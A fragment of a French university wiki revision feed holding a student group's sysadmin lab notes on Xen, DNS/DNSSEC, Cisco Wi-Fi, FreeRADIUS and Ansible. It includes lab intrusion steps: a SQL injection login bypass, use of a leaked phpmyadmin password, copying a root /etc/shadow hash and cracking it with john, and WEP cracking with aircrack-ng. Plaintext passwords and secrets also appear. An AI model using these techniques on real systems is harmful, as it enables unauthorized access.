en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;taskss&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages }}&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;dock&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54979</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54979"/>
				<updated>2020-12-18T18:47:22Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
